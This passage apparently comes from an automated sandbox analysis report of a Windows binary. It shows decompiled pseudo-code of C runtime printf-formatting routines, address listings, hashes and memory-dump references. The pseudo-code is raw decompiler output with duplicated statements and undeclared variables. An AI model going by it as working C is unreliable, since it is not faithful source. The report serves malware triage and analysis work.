																				__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEB0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AEE0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E004312B0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c43d
0x0043c43d
0x0043c43d
0x0043c43d
0x0043c43d
0x0043c43d
0x0043c43d
0x0043c43d
0x00000000
0x0043c4b2
0x00000000
0x0043c4b2
0x00000000
0x0043c4b2
0x0043c4b2
0x0043c4ba
0x0043c4dc
0x0043c4e2
0x0043c507
0x0043c54e
0x0043c551
0x0043c572
0x0043c577
0x0043c57c
0x0043c582
0x0043c553
0x0043c557
0x0043c55c
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50f
0x0043c531
0x0043c536
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c515
0x0043c51a
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e8
0x0043c4ed
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4c0
0x0043c4c5
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58e
0x0043c5d0
0x0043c5d6
0x0043c5e2
0x00000000
0x0043c590
0x0043c590
0x0043c590
0x0043c597
0x00000000
0x0043c5a4
0x0043c5a4
0x0043c5b2
0x0043c5b7
0x0043c5bd
0x0043c5cb
0x0043c5e8
0x0043c5f0
0x0043c612
0x0043c612
0x0043c61c
0x0043c62d
0x0043c637
0x0043c639
0x0043c639
0x0043c61e
0x0043c61e
0x0043c61e
0x0043c64c
0x0043c64e
0x0043c64e
0x0043c65b
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66c
0x00000000
0x00000000
0x0043c67c
0x0043c67f
0x0043c689
0x0043c698
0x0043c6a1
0x0043c6b7
0x0043c6bd
0x0043c6ca
0x0043c6d8
0x0043c6d8
0x0043c6e7
0x0043c6ef
0x0043c6ef
0x0043c6f7
0x0043c700
0x0043c709
0x0043c715
0x0043c72e
0x0043c734
0x0043c73d
0x0043c73d
0x00000000
0x0043c740
0x00000000
0x0043c740
0x00000000
0x0043c740
0x00000000
0x0043c740
0x00000000
0x0043c740
0x00000000
0x0043c740
0x00000000
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x0043c920
0x0043c924
0x0043c92c
0x0043c931
0x0043c934
0x0043c934
0x0043c93b
0x0043c93b
0x0043babb
0x0043bac2
0x0043bacf
0x0043bad4
0x00000000
0x0043bae7
0x0043baf1
0x0043bb18
0x0043baff
0x0043bb10
0x0043bb10
0x0043baf1
0x0043bb22
0x0043bb28
0x0043bb34
0x0043bb37
0x0043bb45
0x0043bb48
0x0043bb55
0x0043bbfa
0x0043bc00
0x0043bc0d
0x00000000
0x00000000
0x0043bc13
0x0043bc19
0x00000000
0x0043bc20
0x0043bc20
0x0043bc3a
0x0043bc3f
0x00000000
0x00000000
0x0043bc47
0x0043bc47
0x0043bc4e
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x0043bc5d
0x0043bc60
0x0043bc67
0x0043bc6e
0x00000000
0x00000000
0x0043bc7a
0x0043bc7a
0x0043bc81
0x0043bc8d
0x0043bc90
0x0043bc9d
0x00000000
0x00000000
0x0043bc9f
0x0043bca5
0x0043bca5
0x0043bcac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcf0
0x0043bcf0
0x0043bcfa
0x0043bd27
0x0043bd31
0x0043bd31
0x0043bd35
0x0043bcfc
0x0043bcfc
0x0043bd08
0x0043bd0f
0x0043bd14
0x0043bd17
0x0043bd1a
0x0043bd1d
0x0043bd1f
0x0043bd1f
0x0043bd22
0x00000000
0x00000000
0x0043bd3d
0x0043bd3d
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd53
0x0043bd73
0x0043bd76
0x0043bd80
0x0043bd80
0x0043bd84
0x0043bd55
0x0043bd55
0x0043bd61
0x0043bd68
0x0043bd6a
0x0043bd6a
0x0043bd71
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd93
0x0043bd9f
0x0043bda2
0x0043bdaf
0x0043bec2
0x00000000
0x0043bec2
0x0043bdb5
0x0043bdbb
0x0043bdbb
0x0043bdc2
0x00000000
0x0043bdf9
0x0043bdf9
0x0043bdfc
0x0043be02
0x0043be29
0x0043be29
0x0043be2c
0x0043be32
0x0043be56
0x0043be56
0x0043be59
0x0043be5f
0x0043be98
0x0043bea9
0x00000000
0x0043bea9
0x0043be61
0x0043be61
0x0043be64
0x0043be6a
0x00000000
0x00000000
0x0043be6c
0x0043be6c
0x0043be6f
0x0043be75
0x00000000
0x00000000
0x0043be77
0x0043be77
0x0043be7a
0x0043be80
0x00000000
0x00000000
0x0043be82
0x0043be82
0x0043be85
0x0043be8b
0x00000000
0x00000000
0x0043be8d
0x0043be8d
0x0043be90
0x0043be96
0x0043be9a
0x00000000
0x0043be9a
0x00000000
0x0043be96
0x0043be34
0x0043be34
0x0043be37
0x0043be3e
0x00000000
0x0043be40
0x0043be43
0x0043be46
0x0043be4c
0x0043be51
0x00000000
0x0043be51
0x0043be3e
0x0043be04
0x0043be04
0x0043be07
0x0043be0e
0x00000000
0x0043be10
0x0043be13
0x0043be16
0x0043be1c
0x0043be21
0x00000000
0x0043be21
0x00000000
0x0043beab
0x0043beab
0x0043beae
0x0043beb1
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdd2
0x0043bdee
0x0043bdf1
0x0043bdd4
0x0043bdd4
0x0043bdd7
0x0043bdda
0x0043bde0
0x0043bde6
0x0043bde6
0x00000000
0x00000000
0x0043beb6
0x0043beb9
0x0043bebf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bccc
0x0043bccf
0x00000000
0x00000000
0x0043bcd4
0x0043bcd7
0x0043bcdd
0x00000000
0x00000000
0x0043bcbe
0x0043bcc1
0x0043bcc4
0x00000000
0x00000000
0x0043bcb3
0x0043bcb6
0x0043bcb9
0x00000000
0x00000000
0x0043bce2
0x0043bce5
0x0043bce8
0x00000000
0x00000000
0x0043bceb
0x00000000
0x00000000
0x0043bb5b
0x0043bb5b
0x0043bb5d
0x0043bb6b
0x0043bb5f
0x0043bb5f
0x0043bb5f
0x0043bb7b
0x0043bb88
0x0043bb8a
0x0043bb8f
0x0043bb91
0x0043bb96
0x0043bb9b
0x0043bb9d
0x0043bba2
0x0043bba8
0x0043bbaa
0x0043bbaa
0x0043bba8
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbb4
0x0043bbb9
0x0043bbd5
0x0043bbdd
0x0043bbea
0x0043bbef
0x0043ca04
0x0043ca11
0x0043ca11
0x0043bbb2
0x0043bb55
0x0043c940
0x0043c947
0x0043c95e
0x0043c952
0x0043c952
0x0043c952
0x0043c968
0x0043c96e
0x0043c97b
0x0043c97d
0x0043c982
0x0043c984
0x0043c989
0x0043c98e
0x0043c990
0x0043c995
0x0043c99b
0x0043c99d
0x0043c99d
0x0043c99b
0x0043c9a5
0x0043c9f0
0x0043c9f9
0x0043c9fe
0x0043c9a7
0x0043c9ac
0x0043c9c8
0x0043c9d0
0x0043c9dd
0x0043c9e2
0x0043c9e2
0x00000000
0x0043c9a5
0x0043c74a
0x0043c750
0x0043c75a
0x0043c774
0x0043c78e
0x0043c795
0x0043c799
0x0043c799
0x0043c776
0x0043c77b
0x0043c77f
0x0043c77f
0x0043c75c
0x0043c761
0x0043c765
0x0043c765
0x0043c75a
0x0043c7a9
0x0043c7b5
0x0043c7cb
0x0043c7d0
0x0043c7d0
0x0043c7e6
0x0043c7eb
0x0043c7f4
0x0043c812
0x0043c817
0x0043c817
0x0043c81e
0x0043c8d8
0x0043c8eb
0x0043c8f0
0x00000000
0x0043c82e
0x0043c82e
0x0043c831
0x0043c83a
0x0043c840
0x0043c840
0x0043c84f
0x0043c857
0x00000000
0x00000000
0x0043c859
0x0043c85c
0x0043c881
0x0043c886
0x0043c889
0x0043c896
0x0043c8a4
0x0043c8b7
0x0043c8bc
0x0043c8cb
0x00000000
0x0043c8cb
0x0043c898
0x0043c898
0x00000000
0x0043c898
0x0043c8d6
0x0043c8f3
0x0043c8fa
0x0043c918
0x0043c91d
0x0043c91d
0x00000000
0x0043c8fa
0x0043bec7
0x0043bec7
0x0043bece
0x0043bed4
0x0043beda
0x0043bedd
0x0043bee3
0x0043bef0
0x0043bef6
0x0043bef6
0x0043befd
0x00000000
0x0043c281
0x0043c281
0x0043c28f
0x0043c292
0x00000000
0x00000000
0x0043bf04
0x0043bf07
0x0043bf0d
0x0043bf12
0x0043bf15
0x0043bf15
0x00000000
0x00000000
0x0043c04a
0x0043c04d
0x0043c052
0x0043c057
0x0043c05a
0x0043c05a
0x00000000
0x00000000
0x0043c44d
0x0043c44d
0x00000000
0x00000000
0x0043bfb4
0x0043bfb4
0x0043bfc0
0x0043bfcd
0x0043bfdb
0x0043bfdb
0x0043bfe1
0x0043bfe4
0x0043bff0
0x0043c045
0x00000000
0x0043c045
0x0043bfcf
0x0043bfcf
0x0043bfd9
0x0043bff5
0x0043bff8
0x0043bffe
0x0043c026
0x0043c02d
0x0043c033
0x0043c036
0x0043c039
0x0043c03f
0x0043c042
0x0043c000
0x0043c000
0x0043c006
0x0043c009
0x0043c00c
0x0043c012
0x0043c015
0x0043c018
0x0043c01a
0x0043c01d
0x0043c01d
0x00000000
0x0043bffe
0x00000000
0x00000000
0x0043c299
0x0043c29c
0x0043c29f
0x0043c2a2
0x0043c2a8
0x0043c2ab
0x0043c2b6
0x0043c2c1
0x0043c2c5
0x0043c2dc
0x0043c2e3
0x0043c2e5
0x0043c2e5
0x0043c2ec
0x0043c2f3
0x0043c301
0x0043c304
0x0043c313
0x0043c31a
0x0043c32f
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c325
0x0043c32a
0x0043c32a
0x0043c31a
0x0043c339
0x0043c33c
0x0043c33f
0x0043c342
0x0043c345
0x0043c348
0x0043c34e
0x0043c354
0x0043c35c
0x0043c35d
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37b
0x0043c37c
0x0043c38b
0x0043c38d
0x0043c393
0x0043c398
0x0043c3a0
0x0043c3a8
0x0043c3a9
0x0043c3ac
0x0043c3ad
0x0043c3bc
0x0043c3be
0x0043c3be
0x0043c3c1
0x0043c3cb
0x0043c3d0
0x0043c3d6
0x0043c3d8
0x0043c3e0
0x0043c3e1
0x0043c3e4
0x0043c3e5
0x0043c3f3
0x0043c3f5
0x0043c3f5
0x0043c3d6
0x0043c3f8
0x0043c3fb
0x0043c401
0x0043c406
0x0043c40b
0x0043c411
0x0043c414
0x0043c414
0x0043c417
0x0043c423
0x00000000
0x0043c423
0x0043c2c7
0x0043c2c7
0x0043c2d1
0x00000000
0x00000000
0x0043c2d3
0x0043c2d3
0x00000000
0x0043c2d3
0x0043c2b8
0x0043c2b8
0x00000000
0x00000000
0x0043bf18
0x0043bf18
0x0043bf23
0x0043bf2b
0x0043bf32
0x0043bf35
0x0043bf38
0x0043bf98
0x0043bf3a
0x0043bf41
0x0043bf47
0x0043bf4d
0x0043bf54
0x0043bf57
0x0043bf5d
0x0043bf65
0x0043bf67
0x0043bf6e
0x0043bf75
0x0043bf86
0x0043bf88
0x0043bf88
0x0043bf8f
0x0043bf9f
0x0043bfa5
0x0043bfa8
0x00000000
0x00000000
0x0043c42b
0x0043c42e
0x0043c431
0x0043c434
0x00000000
0x00000000
0x0043c18a
0x0043c18a
0x0043c196
0x0043c1a3
0x0043c24d
0x0043c24d
0x0043c250
0x0043c253
0x0043c267
0x0043c26d
0x0043c273
0x0043c255
0x0043c255
0x0043c25b
0x0043c262
0x0043c262
0x0043c275
0x00000000
0x0043c275
0x0043c1a9
0x0043c1a9
0x0043c1ab
0x0043c1b9
0x0043c1ad
0x0043c1ad
0x0043c1ad
0x0043c1c3
0x0043c1c9
0x0043c1d6
0x0043c1d8
0x0043c1dd
0x0043c1df
0x0043c1e4
0x0043c1e9
0x0043c1eb
0x0043c1f0
0x0043c1f6
0x0043c1f8
0x0043c1f8
0x0043c1f6
0x0043c200
0x0043c248
0x00000000
0x0043c202
0x0043c202
0x0043c207
0x0043c223
0x0043c22b
0x0043c235
0x0043c238
0x0043c23d
0x00000000
0x0043c23d
0x00000000
0x0043c494
0x0043c494
0x0043c49e
0x0043c4a4
0x0043c4a9
0x0043c4af
0x0043c4af
0x00000000
0x00000000
0x0043c446
0x0043c446
0x00000000
0x00000000
0x0043c05d
0x0043c061
0x0043c06f
0x0043c072
0x0043c063
0x0043c063
0x0043c063
0x0043c078
0x0043c07e
0x0043c084
0x0043c090
0x0043c096
0x0043c099
0x0043c121
0x0043c125
0x0043c127
0x0043c12d
0x0043c12d
0x0043c130
0x0043c137
0x0043c13a
0x0043c140
0x0043c140
0x0043c140
0x0043c146
0x0043c14c
0x0043c14f
0x0043c157
0x00000000
0x00000000
0x0043c159
0x0043c159
0x0043c15f
0x0043c164
0x00000000
0x00000000
0x0043c166
0x0043c16c
0x0043c16f
0x0043c16f
0x0043c177
0x0043c17d
0x0043c180
0x0043c182
0x00000000
0x0043c09f
0x0043c09f
0x0043c0a3
0x0043c0a5
0x0043c0aa
0x0043c0aa
0x0043c0ad
0x0043c0b0
0x0043c0b6
0x0043c0c8
0x0043c0c8
0x0043c0c8
0x0043c0d1
0x00000000
0x00000000
0x0043c0d3
0x0043c0d3
0x0043c0d9
0x0043c0de
0x00000000
0x00000000
0x0043c0e0
0x0043c0e0
0x0043c0e9
0x0043c0ef
0x0043c0fd
0x0043c105
0x0043c108
0x0043c108
0x0043c114
0x0043c117
0x0043c0c2
0x0043c0c5
0x0043c0c5
0x0043c11f
0x0043c185
0x00000000
0x0043c185
0x00000000
0x00000000
0x00000000
0x0043c459
0x0043c459
0x0043c463
0x0043c463
0x0043c46d
0x0043c473
0x0043c475
0x0043c47a
0x0043c484
0x0043c487
0x0043c48b
0x0043c48b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043befd
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c597
0x0043c58e
0x0043c4b2
0x0043c4b2
0x0043c4b2

APIs

_get_int64_arg.LIBCMTD ref: 0043C4C0
_get_int64_arg.LIBCMTD ref: 0043C4E8
__aullrem.LIBCMT ref: 0043C690
__aulldiv.LIBCMT ref: 0043C6B2

Strings

9, xrefs: 0043C6C3

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction ID: a9d221f00c90bdd4818b361359886595607bbc40aac9fce3257dcfbf568b3f19
Opcode Fuzzy Hash: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction Fuzzy Hash: A741F8B1E40229AFDB24CF58C981BAEB7B5FF89314F10519AD148B7241D7389E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427DBC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00427DBC(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E004283F0(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
												_t549 = E004283F0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E004283F0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E004283F0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E00428410(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E00428410(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E00430820(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E004308A0( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C5D0( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404460) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404480) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M004282E8))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E004312B0( *(_t666 - 0x251) & 0x000000ff, E0041AEE0(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E00435710( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
																							E00435710( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E410();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00422F00(_t582))) = 0x16;
																								E00422C90(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041AEB0(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BD50(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
